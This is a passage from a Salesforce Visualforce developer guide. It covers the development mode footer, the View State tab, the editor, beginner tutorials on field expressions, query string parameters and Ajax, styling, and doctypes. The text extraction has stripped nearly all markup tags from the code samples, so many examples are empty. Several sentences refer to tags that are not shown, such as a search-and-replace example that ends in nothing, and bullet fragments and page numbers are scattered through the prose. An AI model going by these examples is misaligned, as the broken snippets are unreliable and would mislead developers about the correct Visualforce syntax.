3. Optionally, select the Show View State in Development Mode checkbox to enable the View State tab on the
development footer. This tab is useful for monitoring the performance of your Visualforce pages.
4. Click Save.
You can also develop Visualforce pages through the Salesforce user interface by clicking Your Name > Setup > Develop >
Pages. For Visualforce components, click Your Name > Setup > Develop > Components.
The Force.com IDE, a plug-in for the Eclipse IDE, offers capabilities not found elsewhere. The Force.com IDE provides
a unified interface for building and deploying Force.com applications, and includes tools such as source code editors, project
wizards, and integrated help. The IDE is designed for advanced developers and development teams.

•
•

Using the Development Mode Footer
With development mode enabled, you can view and edit the content of a page by navigating to the URL of the page. For
example, if a page is named HelloWorld, and your salesforce.com instance is na3.salesforce.com, enter
https://na3.salesforce.com/apex/HelloWorld in your browser's address bar. Development mode also provides
you with a special development footer to edit your Visualforce pages and custom controllers, as well as monitor Visualforce
performance.
After enabling development mode, all Visualforce pages display with the development mode footer at the bottom of the
browser:
•
•

Click the tab with the name of the page to open the page editor to view and edit the associated Visualforce markup without
having to return to the Setup area. Changes display immediately after you save the page.
If the page uses a custom controller, the name of the controller class is available as a tab. Click the tab to edit the associated
Apex class.

12

Tools for Visualforce Development

•
•
•
•
•

Using the Development Mode Footer

If the page uses any controller extensions, the names of each extension are available as tabs. Clicking on the tab lets you
edit the associated Apex class.
If enabled in Setup, the View State tab displays information about the items contributing to the view state of the Visualforce
page.
Click Save (just above the edit pane) to save your changes and refresh the content of the page.
Click Component Reference to view the documentation for all supported Visualforce components.
Click Where is this used? to view a list of all items in Salesforce that reference the page, such as custom tabs, controllers,
or other pages.

•

Click the Collapse button ( ) to collapse the development mode footer panel. Click the Expand button ( ) to toggle it
back open.

•

Click the Disable Development Mode button ( ) to turn off development mode entirely. Development mode remains
off until you enable it again in Your Name > Setup > My Personal Information > Personal Information.

About the View State Tab
The view state of a web page is composed of all the data that's necessary to maintain the state of the controller during server
requests (like sending or receiving data). Since the view state contributes to the overall size of your page, performance of a
page can depend on efficiently managing the view state. The View State tab in the development mode footer provides
information about the view state of your Visualforce page as it interacts with Salesforce.
Note: The View State tab should be used by developers that understand the page request process. Familiarize yourself
with the order of execution in a Visualforce page before using the tab.
To enable the View State tab:
1.
2.
3.
4.

Click Your Name > Setup > My Personal Information > Personal Information, and click Edit.
Select the Development Mode checkbox if it isn't selected.
Select the Show View State in Development Mode checkbox.
Click Save.
Note: Since the view state is linked to form data, the View State tab only appears if your page contains an
 tag. In addition, the View State tab displays only on pages using custom controllers or controller
extensions.

The View State tab is composed of folder nodes. If you click on any folder, a pie chart with a Content tab appears. This chart
displays the folder's child Visualforce custom controllers, Apex objects, or fields. You can see which elements contribute to
the parent's overall size by hovering over pieces of the graph. This is the same information as the individual text nodes. The
chart requires Flash version 6 or greater enabled on your browser.
Salesforce allows Visualforce pages to have a maximum view state size of 135KB. The View State tab shows you which elements
on your page are taking up that space. A smaller view state size generally means quicker load times. To minimize your pages'
view state, you can optimize your Apex controller code and remove any superfluous Visualforce components used. For example:
•
•

If you notice that a large percentage of your view state comes from objects used in controllers or controller extensions,
consider refining your SOQL calls to return only data that's relevant to the Visualforce page.
If your view state is affected by a large component tree, try reducing the number of components your page depends on.

For more information on how to improve Visualforce using the View State tab, see Best Practices for Improving Visualforce
Performance on page 253.
The View State tab contains the following columns (in alphabetical order):

13

Tools for Visualforce Development

About the Visualforce Editor

Column

Description

% of Parent

The percent of the overall size that the custom controller,
Apex object, or field contributes to the parent.

Name

The name of the custom controller, Apex object, or field.

Size

The view state size of the custom controller, Apex object, or
field.

Type

The type of custom controller, Apex object, or field.

Value

The value of the field.

The Name column contains nodes defining the various parts of your Visualforce page. They are (in alphabetical order):
Node

Description

Component Tree

This represents the overall structure of your page. Its size is
affected by the number of components you have on the page.
Generally, fewer components means a smaller component tree,
which could result in faster load times. You can see how much
of your view state size is made up from the component tree
by clicking the View State folder.

Internal

This represents the internal Salesforce data used by your
Visualforce page. This can't be controlled by developers. You
can see how much of your view state size is made up from
internal elements by clicking the State folder.

Expressions

This represents the data used by formula expressions defined
in your Visualforce page.

State

This folder contains all the Visualforce custom controllers,
Apex objects, or fields. By expanding the child Controller and
Controller Extension folders, you can see each object that's
on the page, its fields, and the value of those fields. Generally,
these are dependent on your Apex controller logic.

View State

This folder contains all the nodes. By clicking on it, you can
find overall information about your Visualforce page's view
state. The Capacity tab tells you how much of your allotted
view state size is being used. If you exceed that amount, the
graph will also tell you how many kilobytes you've gone over.

About the Visualforce Editor
When editing Visualforce pages through the development mode footer or from Setup, an editor is available with the following
functionality:

14

Tools for Visualforce Development

About the Visualforce Editor

Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search (

)

Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search
textbox and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace
to replace just that instance, or Replace All to replace that instance and all other instances of the search string that
occur in the page, class, or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions
follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more
than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular
expression group variables ($1, $2, and so on) from the found search string. For example, to replace an 

tag with an

tag and keep all the attributes on the original

intact, search for and replace it with . Go to line ( ) This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line. Undo ( ) and Redo ( ) Use undo to reverse an editing action and redo to recreate an editing action that was undone. Font size Select a font size from the drop-down list to control the size of the characters displayed in the editor. Line and column position The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line ( ) to quickly navigate through the editor. Line and character count The total number of lines and characters is displayed in the status bar at the bottom of the editor. The editor supports the following keyboard shortcuts: Tab Adds a tab at the cursor SHIFT+Tab Removes a tab CTRL+f Opens the search dialog or searches for the next occurrence of the current search 15 Tools for Visualforce Development About the Visualforce Editor CTRL+r Opens the search dialog or replaces the next occurrence of the current search with the specified replacement string CTRL+g Opens the go to line dialog CTRL+s Performs a quick save. CTRL+z Reverses the last editing action CTRL+y Recreates the last editing action that was undone 16 Chapter 3 Getting a Quick Start with Visualforce To showcase the essential elements of Visualforce, this chapter includes a set of examples that demonstrate features of the language. While the examples do not go into every detail, rule, or exception for every tag or controller, new Visualforce developers can use this tutorial to understand how Visualforce works before proceeding to the more detailed descriptions in the remainder of this guide. The examples are broken up into beginner and advanced sections. The beginner examples primarily use Visualforce markup. The advanced examples use Force.com Apex code in addition to Visualforce markup. Advanced examples that require Apex are in their own chapter. Compiling Visualforce Successfully You can't save your Visualforce pages and components unless they correctly compile. Here's a list of things to watch out for when creating Visualforce pages: • • • • Verify that your component tags start with the correct namespace identifier like apex:—that is, apex followed by a colon. Make sure that every opening quote and bracket has a closing one. Verify that the controller or controller extension is named correctly. Visualforce pages and components created using Salesforce API version 19.0 or higher must be written as well-formed XML. In general, this means that elements must be correctly nested, non-empty elements must have an end tag, empty elements must be terminated with a closing slash (“/”), and so on. The World Wide Web Consortium (W3C) provides an article on the specifications of well-formed XML. The following exceptions are allowed: ◊ Code that violates well-formed XML is permitted inside JavaScript. For example, you don't need to use tags in Visualforce. ◊ Code that violates well-formed XML is permitted inside expressions. For example, you don't need to escape quotation marks inside formulas. ◊ XML directives that are normally required at the beginning of a page—such as —can occur inside top-level container tags, like and . 17 Getting a Quick Start with Visualforce Creating Your First Page Creating Your First Page With development mode enabled, you can create your first Visualforce page by entering a URL for the page in your browser's address bar as follows: https://Salesforce_instance/apex/myNewPageName For example, if you want to create a page called “HelloWorld” and your salesforce.com organization uses na3.salesforce.com, enter http://na3.salesforce.com/apex/HelloWorld. Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page. Click Create Page to create it automatically. Note: If you do not have Visualforce development mode enabled, you can also create a new page by clicking Your Name > Setup > Develop > Pages, and then clicking New. Visualforce pages can always be edited from this part of setup, but to see the results of your edits you have to navigate to the URL of your page. For that reason, most developers prefer to work with development mode enabled so they can view and edit pages in a single window. Figure 4: A New Visualforce Page You now have a Visualforce page that includes default text. To edit your new page, click the Page Editor bar that appears at the bottom of the browser. It expands to show you the following Visualforce markup:

Congratulations

This is your new Apex Page: HelloWorld
This default markup includes the only required tag for any page— the tag that begins and ends any page markup. Embedded within the start and close tags is plain text, some of which is formatted with a standard HTML tag,

. 18 Getting a Quick Start with Visualforce Displaying Field Values with Visualforce As long as you keep the required tag you can add as much plain text or valid HTML to this page as you want. For example, after entering the following code and clicking Save in the Page Editor, the page displays the text “Hello World!” in bold: Hello World! Tip: Pay attention to warnings—the Visualforce editor displays a warning if you save a page with HTML that does not include a matching end tag for every opened tag. Although the page saves, this malformed HTML might cause problems in your rendered page. Displaying Field Values with Visualforce Visualforce pages use the same expression language as formulas—that is, anything inside {! } is evaluated as an expression that can access values from records that are currently in context. For example, you can display the current user's first name by adding the {!$User.FirstName} expression to a page: Hello {!$User.FirstName}! $User is a global variable that always represents the current user record. All global variables are referenced with a $ symbol. For a list of global variables that you can use in Visualforce, see Global Variables on page 476. To access fields from a record that is not globally available, like a specific account, contact, or custom object record, you need to associate your page with a controller. Controllers provide pages with the data and business logic that make your application run, including the logic that specifies how to access a particular object's records. While you can define a custom controller for any page with Apex, Salesforce includes standard controllers for every standard and custom object. For example, to use the standard controller for accounts, add the standardController attribute to the tag, and assign it the name of the account object: Hello {!$User.FirstName}! After you save your page, the Accounts tab is highlighted for the page, and the look-and-feel for the components on the page match the Accounts tab. Additionally, you can now access fields on the account record currently in context by using {!account.} expression syntax. For example, to display an account's name on a page, use {!account.name} in the page markup: Hello {!$User.FirstName}!

You are viewing the {!account.name} account.

The {!account.name} expression makes a call to the getAccount() method in the standard Account controller to return the record ID of the account currently in context. It then uses dot notation to access the name field for that record. 19 Getting a Quick Start with Visualforce Displaying Field Values with Visualforce Note: You cannot access parent objects using this expression language. In other words, {!account.parent.name} will return an error. Note: When you save a page, the value attribute of all input components—, , and so on—is validated to ensure it’s a single expression, with no literal text or white space, and is a valid reference to a single controller method or object property. An error will prevent saving the page. To bring an account record into the current context, you must add a query parameter to the page URL that specifies the ID of the record. To do this: 1. Find the ID of an account by any means you wish. One easy way is to view the detail page of an account record and copy the character code at the end of the URL. For example, if you navigate to an account detail page with the following URL: https://na3.salesforce.com/001D000000IRt53 Then 001D000000IRt53 is the ID for the account. 2. Back on your page, add the account ID as a query string parameter to the URL in your browser's address bar. For example, if your page is located at: https://na3.salesforce.com/apex/HelloWorld2 Add ?id=001D000000IRt53 to the end of the URL: https://Salesforce_instance/apex/HelloWorld2?id=001D000000IRt53 Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller. Once an account ID is specified in the URL, the page displays the appropriate account name, as shown in the following figure. Figure 5: Displaying Account Data in a Visualforce Page 20 Getting a Quick Start with Visualforce Using the Visualforce Component Library Using the Visualforce Component Library Up to this point, the only Visualforce tag that has been used in the examples is the mandatory tag that must be placed at the start and end of all Visualforce markup. However, just as you can insert images or tables into an HTML document with the or tags, respectively, you can add user interface components to your Visualforce pages using tags that are defined in the Visualforce component library. For example, to add a component that looks like a section on a detail page, use the component tag: You are viewing the {!account.name} account. Figure 6: The Component Tags also exist for other common Salesforce interface components, such as related lists, detail pages, and input fields. For example, to add the content of a detail page, use the component tag: You are viewing the {!account.name} account. 21 Getting a Quick Start with Visualforce Using the Visualforce Component Library Figure 7: The Component Without Attributes Without any specified attributes on the tag, displays the complete detail view for the context record. If you want to modify properties such as which record details are displayed, or whether related lists or the title appear, you can use attributes on the tag. For example, the following markup displays the details of the context account's owner, without related lists or a colored title bar: You are viewing the {!account.name} account. Figure 8: The Component Without Related List or Title Elements 22 Getting a Quick Start with Visualforce Overriding an Existing Page with a Visualforce Page To browse the component library, click Component Reference in the Page Editor. From this page you can drill down into any component to see the attributes that are available for each, including any custom components that you define. See Also: Standard Component Reference Overriding an Existing Page with a Visualforce Page Suppose you want to change the format of an existing page, such as the standard account detail page. All the information for an account displays on a single page. If there's a lot of information, you might end up doing a lot of scrolling. Using a Visualforce page you can make each section for an account display in a tab, such as contacts, opportunities, and so on. First, create a new Visualforce page using the quick fix. 1. In your browser, add the text /apex/tabbedAccount to the URL for your Salesforce instance. For example, if your Salesforce instance is https://na1.salesforce.com, the new URL would be https://na1.salesforce.com/apex/tabbedAccount. You will get the following error message: 2. Click the Create Page tabbedAccount link to create the new page. 3. Click the Page Editor link in the bottom left corner of the page. This displays the code for the new page, which should look like this:

Congratulations

This is your new Page: tabbedAccount
4. Replace the existing code with the following and click Save: 23 Getting a Quick Start with Visualforce Overriding an Existing Page with a Visualforce Page 5. Notice that there is no data in the Account page. You need to specify the ID of a particular account in the URL, as you've done with previous pages. For example, https://Salesforce_instance/apex/tabbedAccount?id=001D000000IRt53 After you add in an account ID, your page should display as follows: Things to note about the page markup: •

Announcing New Account Name!

Things to note about the page: • • • This page is rendered as a PDF • • • • • The maximum response size when creating a PDF must be below 15 MB, before being rendered as a PDF. This is the standard limit for all Visualforce requests. The maximum file size for a generated PDF is 60 MB. The total size of all images included in a generated PDF is 30 MB. PDF rendering doesn’t support images encoded in the data: URI scheme format. Note that the following components do not support double-byte fonts when rendered as a PDF: ◊ 39 Getting a Quick Start with Visualforce Building a Table of Data in a Page ◊ These components are not recommended for use in pages rendered as a PDF. For more information, see Best Practices for Rendering PDFs on page 261. See Also: Styling Visualforce Pages Building a Table of Data in a Page Some Visualforce components, such as or , allow you to display information from multiple records at a time by iterating over a collection of records. To illustrate this concept, the following page uses the component to list the contacts associated with an account that is currently in context: You are viewing the {!account.name} account. Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL for the page. For example: https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb Displaying Field Values with Visualforce on page 19 has more information about retrieving the ID of a record. 40 Getting a Quick Start with Visualforce Editing a Table of Data in a Page Figure 14: The Component Like other iteration components, includes two required attributes, value and var: • value takes a list of sObject records or values of any other Apex type. In the example above, {!account.Contacts} • retrieves the ID of the account that is currently in context and then traverses the relationship to retrieve the list of the associated contacts. var specifies the name of the iteration variable. This variable is used within the body of the tag to access the fields on each contact. In this example, value="{!contact.Name}" is used on the tag to display the name of the contact. The component takes one or more child components. The number of rows in the table is controlled by the number of records returned with the value attribute. Note: The component automatically takes on the styling of a standard Salesforce list. To display a list with your own styling, use instead. Editing a Table of Data in a Page In the last tutorial, you built a table of data. Using in the data table columns, you can create a table with editable fields. Using you can save the data you change. Any messages (such as Saving) is automatically displayed with the tag. The following page creates a page that enables you to do edit a series of Industry types at the same time: 41 Getting a Quick Start with Visualforce Using Query String Parameters in a Page Note: If you have an ID attribute in the URL, this page does not display correctly. For example, https://c.na1.visual.soma.force.com/apex/HelloWorld?id=001D000000IR35T produces an error. You need to remove the ID from the URL. Notice the following about the page markup: • • • This page takes advantage of standard set controllers to generate the data for the table. Use the recordSetVar attribute to specify the name of the set of data you want to use. Then, in the value, use the name of that set to populate the table with data. The tag automatically generates the correct display for the field. In this case, as a dropdown list. The page must be enclosed in an tag in order to use the tag. A form specifies a portion of a Visualforce page that users can interact with. Figure 15: Example of Editing a Table of Data Using Query String Parameters in a Page As shown in earlier examples, the default page context—that is, the record that provides the source of data displayed on the page—is controlled by a query string parameter named id in the page URL. You can also get and set query string parameters in the Visualforce markup. The following topics provide examples: • • • Getting Query String Parameters Setting Query String Parameters in Links Getting and Setting Query String Parameters on a Single Page 42 Getting a Quick Start with Visualforce Getting Query String Parameters Getting Query String Parameters You can reference query string parameters in Visualforce markup by using the $CurrentPage global variable. Using $CurrentPage, you can access the query string parameters for the page by specifying the parameters attribute, after which you can access each individual parameter: $CurrentPage.parameters.parameter_name For example, suppose you want to add detail information about a specific contact to an Account page. The account record ID is specified by the default id query string parameter, and the contact record ID is specified by the query string parameter named cid: You are displaying values from the {!account.name} account and a separate contact that is specified by a query string parameter. Name {!contact.Name} Phone {!contact.Phone} For this example to render properly, you must associate the Visualforce page with valid account and contact IDs in the URL. For example, if 001D000000IRt53 is the account ID and 003D000000Q0bIE is the contact ID, the resulting URL should be: https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53&cid=003D000000Q0bIE Displaying Field Values with Visualforce on page 19 has more information about retrieving the ID of a record. Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller. 43 Getting a Quick Start with Visualforce Setting Query String Parameters in Links Figure 16: Using Query String Parameters in a Page Setting Query String Parameters in Links You can set query string parameters in links to pages by constructing the link URL manually, or by using tags within the tag. For example, both of the following examples create identical links to an external page: Search Google Search Google The latter method, which uses tags instead of manually creating the URL, is preferable for stylistic reasons. 44 Getting a Quick Start with Visualforce Getting and Setting Query String Parameters on a Single Page Note: In addition to , use to set request parameters for , and . Getting and Setting Query String Parameters on a Single Page Having seen examples of both getting and setting query string parameters, this example shows how the two actions can be combined on a single page to produce a more interesting result. Based on the example from Getting Query String Parameters, the following page makes the name of each contact in the list a hyperlink that controls the context of the detail component below it. This is possible by: • • Wrapping the data table in an tag Turning each contact name into an that sets the cid parameter appropriately with an tag When used with a standard controller, command links always entirely refresh the current page with the new information added to the page—in this case, an updated cid that updates the contact detail component. You are displaying contacts from the {!account.name} account. Click a contact's name to view his or her details. Name {!contact.Name} Phone {!contact.Phone} After saving this markup, refresh your browser with the id query string parameter but without the cid parameter in the URL For example, https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53 Initially the contact detail page is not rendered, but when you click a contact name the page renders the appropriate detail view. 45 Getting a Quick Start with Visualforce Using Ajax in a Page Note: If you use the id parameter in a URL, it must refer to the same entity referred to in the standard controller. See Also: Controller Methods Using Ajax in a Page Some Visualforce components are Ajax aware and allow you to add Ajax behaviors to a page without having to write any JavaScript. The following topics provide examples: • • • Implementing Partial Page Updates with Command Links and Buttons Providing Status for Asynchronous Operations Applying Ajax Behavior to Events on Any Component Implementing Partial Page Updates with Command Links and Buttons One of the most widely used Ajax behaviors is a partial page update, in which only a specific portion of a page is updated following some user action, rather than a reload of the entire page. The simplest way to implement a partial page update is to use the reRender attribute on an or tag to identify a component that should be refreshed. When a user clicks the button or link, only the identified component and all of its child components are refreshed. For example, consider the contact list example shown in Getting and Setting Query String Parameters on a Single Page on page 45. In that example, when a user clicks the name of a contact in the list to view the details for that contact, the entire page is refreshed as a result of this action. With just two modifications to that markup, we can change the behavior of the page so that only the area below the list refreshes: 1. First, create or identify the portion of the page that should be rerendered. To do this, wrap the tag in an tag, and give the output panel an id parameter. The value of id is the name that we can use elsewhere in the page to refer to this area. It must be unique in the page. 2. Next, indicate the point of invocation (the command link) that we want to use to perform a partial page update of the area that we just defined. To do this, add a reRender attribute to the tag, and give it the same value that was assigned to the output panel's id. The final markup looks like this: You are displaying contacts from the {!account.name} account. Click a contact's name to view his or her details. 46 Getting a Quick Start with Visualforce Providing Status for Asynchronous Operations {!contact.Name} After saving the page, click any contact and notice how the detail component displays without a complete page refresh. Note: You cannot use the reRender attribute to update content in a table. Providing Status for Asynchronous Operations Ajax behaviors, such as partial page updates, are asynchronous events that occur in the background while a page user continues to work. For good usability, designers often add a status element to alert the user of any background activity currently in progress. Visualforce supports status updates with the tag. This tag allows you to display text at the beginning or end of a background event with the startText or stopText attributes, or, for more advanced developers, allows you to display an image or other component. For this example, we'll add status text to the contact list page that we have been developing. After a user clicks the name of a contact, the detail area displays the text, “Requesting...” while the detail area is rendered. To implement the message, wrap around the component, since that is the component being updated asynchronously. In between the two tags, add an tag named “stop”. A facet consists of content in an area of a Visualforce component that provides contextual information about the data that is presented in the component. For example, supports facets for the header, footer, and caption of a table, while only supports facets for the header and footer of the column. The component allows you to override the default facet on a Visualforce component with your own content. Facets only allow a single child within the start and close tags. Note: Not all components support facets. Those that do are listed in the Standard Component Reference. In the following example, supports a facet named “stop” that contains the component that should be displayed as soon as the action completes—in this case, the detail area: You are displaying contacts from the {!account.name} account. Click a contact's name to view his or her details. 47 Getting a Quick Start with Visualforce Applying Ajax Behavior to Events on Any Component {!contact.Name} Remember when you visit this page, to include an ID as part of the URL. For example, https://Salesforce_instance/apex/ajaxAsyncStatus?id=001x000xxx3Jsxb Applying Ajax Behavior to Events on Any Component Using command links and buttons to implement a partial page update is relatively simple, but suppose you want to have the same page update occur just by hovering the mouse over a contact's name? To do this with the contact list example, remove the tag from the data table and wrap the contact name in an tag instead. Within this output panel, add an element as a sibling of the contact's name: • • The tag defines the area over in which we want the specialized behavior. The tag defines the partial page update behavior that was implemented previously by the command link. ◊ The event attribute specifies the DOM event that should trigger the update. Whereas only executes during the “onclick” event, can execute on any valid event such as “onclick”, “ondblclick”, or, for this example, “onmouseover”. ◊ The reRender attribute specifies which part of the page should refresh. ◊ The tag sets the value of the cid query string parameter when the specified event occurs. The resulting markup looks like this: You are displaying contacts from the {!account.name} account. Mouse over a contact's name to view his or her details. 48 Getting a Quick Start with Visualforce Applying Ajax Behavior to Events on Any Component {!contact.Name} After saving the page, move the mouse over any contact and notice that the detail area refreshes appropriately without clicking on it. See Also: Using JavaScript in Visualforce Pages 49 Chapter 4 Customizing the Appearance and HTML Output of Visualforce Pages Visualforce pages and components output HTML that is sent to the browser for rendering. Visualforce’s HTML generation is sophisticated, automatically providing page structure, contents, and styling. Visualforce also provides a number of ways to alter Visualforce’s default HTML, substitute your own or associated additional resources, such as CSS stylesheets or JavaScript files, with a page. You can customize the styling of Visualforce pages, by attaching custom styles to individual components, or by including your own styles or stylesheets on the page. This allows you to customize the look of individual elements on the page. You can alter the “doctype” (document type, or DTD) of Visualforce pages. This is particularly useful if you are working with HTML5, and may also allow you to address browser compatibility issues. You can set a specific content type of a Visualforce page to force the browser to treat the output differently. You can use this, for example, to download a CSV file instead of displaying it in the browser window. You can attach custom attributes to Visualforce components that “pass through” to the generated HTML on page 57. This is useful, for example, for attaching data- attributes to page elements for use with JavaScript frameworks, such as jQuery Mobile and Knockout.js. • • • • Styling Visualforce Pages It’s easy to style a Visualforce page, either by mimicking the look and feel of a standard Salesforce page, or by using your own stylesheets or content types. Many Visualforce components contain the style or styleClass attribute. Defining either of these attributes allows you to associate CSS code with the component. Custom CSS code enables you to change the default visual style of a component, including its width, height, color, and font. The following topics provide more information on modifying the appearance of Visualforce components: • • Using Salesforce Styles Using Custom Styles Using Salesforce Styles Many Visualforce components already have the look and feel of the same components in Salesforce, such as the related list in a detail page, or a section header. Part of the styling of these components, including the component’s color scheme, is based on the tab on which the component appears. You can specify the tab style that should be used to style a component by associating a page with a standard controller or by setting the tabStyle attribute on the , or tags. 50 Customizing the Appearance and HTML Output of Visualforce Pages • • Using Salesforce Styles When you use a standard controller with a Visualforce page, your new page takes on the style of the associated object’s standard tab in Salesforce. It also allows you to access the methods and records associated with the associated object. When you use a custom controller, the tabStyle attribute of an tag allows you to mimic the look and feel of the associated Salesforce page. If you only want portions of the page to be similar to a Salesforce page, you can use the tabStyle attribute on the tag. For an example, see Defining Getter Methods on page 101. For more information on customizing the Salesforce user interface, see “Customizing User Interface Settings” in the online help. Extending Salesforce Styles Use the tag to add additional stylesheets to a page. Use the style or styleClass attribute available on most Visualforce components to connect them to style definitions in your stylesheets. This technique lets you extend the Salesforce styles with your own. The following markup shows a very basic page. The tag references a CSS stylesheet that is saved as a static resource named TestStyles in Your Name > Setup > Develop > Static Resources. It’s referenced by the $Resource global variable in the tag’s value attribute. The styleClass attribute of the tag uses the sample style class defined in the style sheet. This is the style sheet used for this example: .sample { font-weight: bold; } Identifying the Salesforce Style Your Users See When you’re creating a Visualforce page, it’s often useful to know the Salesforce look and feel your user expects, in order to render a page that matches their style. For example, some users have the choice to customize their look and feel. You’ll need to design your Visualforce pages to take these differences into consideration. There are two global variables that can help you identify which style a user sees: $User.UITheme and $User.UIThemeDisplayed. The difference between the two variables is that $User.UITheme returns the look and feel the user is supposed to see, while $User.UIThemeDisplayed returns the look and feel the user actually sees. For example, a user may have the permissions to see the new user interface theme look and feel, but if they are using a browser that doesn’t support that look and feel, for example, Internet Explorer 6, $User.UIThemeDisplayed returns a different value. Both variables return one of the following values: • • • • • Theme1—Obsolete Salesforce theme Theme2—Salesforce theme used prior to Spring ’10 PortalDefault—Salesforce Customer Portal theme Webstore—Salesforce AppExchange theme Theme3—Current Salesforce theme, introduced during Spring ’10 51 Customizing the Appearance and HTML Output of Visualforce Pages Using Salesforce Styles Suppose a developer has hard coded some CSS styles to resemble Salesforce. In order to preserve the same look and feel on the Visualforce page for new styles, the developer needs to select between several stylesheets to handle the preferences of the user. The following example shows one possible way of accomplishing this: Notice in this example that: • • Using the rendered attribute you can “toggle” which sections display. Since the tag doesn't have a rendered attribute, you'll need to wrap it in a component that does. Even if a new look and feel is enabled for your users, they may not be running the right browser or accessibility settings to see it. Here’s a code example that makes use of the $User.UITheme variable to present alternate information to the user: We've noticed that the new look and feel is enabled for your organization. However, you can't take advantage of its brilliance. Please check with your administrator for possible reasons for this impediment. Notice that although $User.UITheme equals Theme3, $User.UIThemeDisplayed doesn’t, and so the page won’t render to its full potential. Using the Salesforce Stylesheets Warning: Salesforce stylesheets are not versioned, and the appearance and class names of components may change without notice. Salesforce.com recommends that you use Visualforce components that mimic the look-and-feel of Salesforce styles instead of directly referencing—and depending upon—Salesforce stylesheets. Salesforce uses different stylesheets (.css files) throughout the application to ensure that every tab conforms to the Salesforce look and feel. These stylesheets are automatically included on a Visualforce page unless you specify false for the showHeader attribute of the tag. When you disable the inclusion of the Salesforce stylesheets, only your custom stylesheets will affect the styling of the page. For the purposes of building up styles that partially or fully match the Salesforce look and feel, you might want to look at and use selected contents from the default stylesheets. The following stylesheets contain style classes you can reference. They are located in the /dCSS/ directory of your salesforce.com instance. • • dStandard.css – Contains the majority of style definitions for standard objects and tabs. allCustom.css – Contains style definitions for custom tabs. 52 Customizing the Appearance and HTML Output of Visualforce Pages Using Custom Styles Important: Salesforce.com doesn’t provide notice of changes to or documentation of the built-in styles. Use at your own risk. Using Custom Styles If you don’t want a page to have the Salesforce look and feel, specify false for the showHeader attribute on the tag, and then use the tag or HTML to include your own stylesheet and body. For HTML tags , you can define inline CSS code just like in a regular HTML page:

This is some strong text!

The following example shows how to reference a stylesheet that is defined as a static resource. First, create a stylesheet like the one below and upload it as a static resource named customCSS: h1 { color: #f00; } p { background-color: #eec; } newLink { color: #f60; font-weight: bold; } Next, create a page that refers to this static resource:

Testing Custom Stylesheets

This text could go on forever...

But it won't!

Click here to switch to www.salesforce.com
Tip: To shrink the size of your page, you can prevent the standard Salesforce stylesheets from loading by setting the standardStylesheets attribute on the component to false: Note that if you don’t load these style sheets, components that require Salesforce CSS might not display correctly, and their styling may change between releases. 53 Customizing the Appearance and HTML Output of Visualforce Pages Using Custom Styles All Visualforce components that produce HTML have pass-through style and styleClass attributes. They allow you to use your own styles and style classes to control the look and feel of any HTML tag. For example, the following code sets the class of the and applies a style: If you want to apply a style using a DOM ID, you must use CSS attribute selectors for the style definition. Attribute selectors rely on the definition of an attribute, rather than an HTML tag, to apply a CSS style. You can set the id value on any Visualforce component; however, that id is sometimes preprended with the id of parent components. For instance, the id of the following code is j_id0:myId: Your CSS should take this into consideration by using an attribute selector: If you intend to use images in your stylesheet, zip the images with the CSS file and upload it as a single static resource. For example, if your CSS file has a line like the following: body { background-image: url("images/dots.gif") } Add the entire images directory and the parent CSS file into a single zip file. For example, if the zip file resource name is myStyles, refer to it like this: Warning: If a stylesheet has an empty string in a url value, you won’t be able to render that page as a PDF. For example, the style rule body { background-image: url(""); } will prevent any page that includes it from being rendered as a PDF. 54 Customizing the Appearance and HTML Output of Visualforce Pages HTML Comments and IE Conditional Comments HTML Comments and IE Conditional Comments Visualforce removes most HTML and XML comments from the page before rendering, without processing their contents. Internet Explorer conditional comments, however, will be rendered, allowing you to include IE-specific resources and meta tags. Internet Explorer conditional comments are most commonly used to address browser compatibility issues, generally with older versions of IE. Although conditional comments work wherever they are used on the page, they are frequently placed inside the page’s tags, where they can be used to include version-specific stylesheets or JavaScript compatibility “shims.” To place conditional comments inside a page’s tag, disable the standard Salesforce header, sidebar, and stylesheets, and add your own and tags:

Browser Compatibility

It's not just a job. It's an adventure.

Visualforce doesn’t support or evaluate Visualforce tags, for example, , within standard HTML comments. However, it will evaluate the following expressions within IE conditional comments: • • Global variables, such as $Resource and $User The URLFOR() function See Microsoft’s documentation for Internet Explorer conditional comments for further details of how to use them. Using a Custom Doctype By default, Visualforce pages are served with a doctype of HTML 4.01 Transitional. Specifically, pages begin with this doctype declaration: 55 Customizing the Appearance and HTML Output of Visualforce Pages Using a Custom ContentType You can specify a different doctype for a Visualforce page by using the docType attribute on the tag. The docType attribute takes a string representing the document type. The format of the string is: -[-] where • • • doctype is either html or xhtml version is a decimal version number valid for the doctype variant, if included, is: ◊ strict, transitional, or frameset for all html document types and the xhmtl-1.0 document type, or ◊ or basic for the xhmtl-1.1 document type If an invalid document type is specified, the default doctype will be used. For more information about valid HTML doctypes, see the list at the W3C website. Custom Doctype Example To create a Visualforce page with an XHTML 1.0 Strict document type, use the docType attribute on the tag, and specify a value of xhtml-1.0-strict:

This is Strict XHTML!

Remember to close your tags correctly:

